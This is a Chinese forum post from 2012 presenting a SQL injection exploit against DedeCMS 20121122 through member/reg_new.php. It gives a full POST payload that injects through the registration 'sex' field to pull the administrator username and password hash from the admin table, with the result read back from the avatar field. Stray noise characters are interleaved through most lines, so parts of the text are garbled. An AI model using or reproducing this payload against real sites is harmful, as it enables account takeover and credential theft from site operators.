dedecms版本 20121122
; p" a2 _2 N0 c2 U( ~5 u# [, F/ d# ^
需要magic_quotes_gpc=Off/ k3 g! ^* X' _6 U8 Y& n3 \- |
- N6 E5 e& d( K) d! V: L9 L应该是没有什么大危害的漏洞.
7 q$ V% P2 E) P1 h# N: u, S原来发过一个Dedecms注射漏洞,貌似并没有修补,重新利用了一下,可以获得管理员密码.* V: w2 N: ^8 w7 i: o
: a! n. v7 D# y+ Z$ @是一个漏洞.其实不仅仅是审核机制绕过,也可以获得管理员密码的.
$ s" n/ `. ]% m$ i- n" dPOST提交以下数据,其实不用POST提交的,这样隐蔽点.
6 u, j/ p- w" S1 n: u) q" P) O2 a: Q- M! Z$ Z5 T1 `. a, @+ i
http:///de/member/reg_new.php- A2 N# H9 g: e( d- p
/ F& P2 L5 q) S5 f: y1 ~$ M
POST) f5 `" |% ?! I! x |
1 D7 G/ R6 w: J" r
dopost=regbase&step=1&mtype=%E4%B8%AA%E4%BA%BA&mtype=%E4%B8%AA%E4%BA%BA&userid=c4rp3nt3r&uname=c4rp3nt3r&userpwd=ssssss&userpwdok=ssssss&email=sss%40ss.ss&safequestion=0&safeanswer=&sex=boy',100,100,'sss@xx.xx',1000,0,'www' and @`'`,(select concat(userid,0x3a,pwd) from `#@__admin` limit 1),0,'',1316751900,'',1316751900,'');%00&vdcode=glos&agree=
+ ]. f' n3 d9 K8 ~4 m
0 P2 {4 z7 u' O: p* E8 w; v成功注册后,头像处里面有好玩的信息.
" M$ }1 R& @0 w8 _7 o" [9 N: H' S' s
|
发表于 2012-12-5 10:03:32
收藏
支持
反对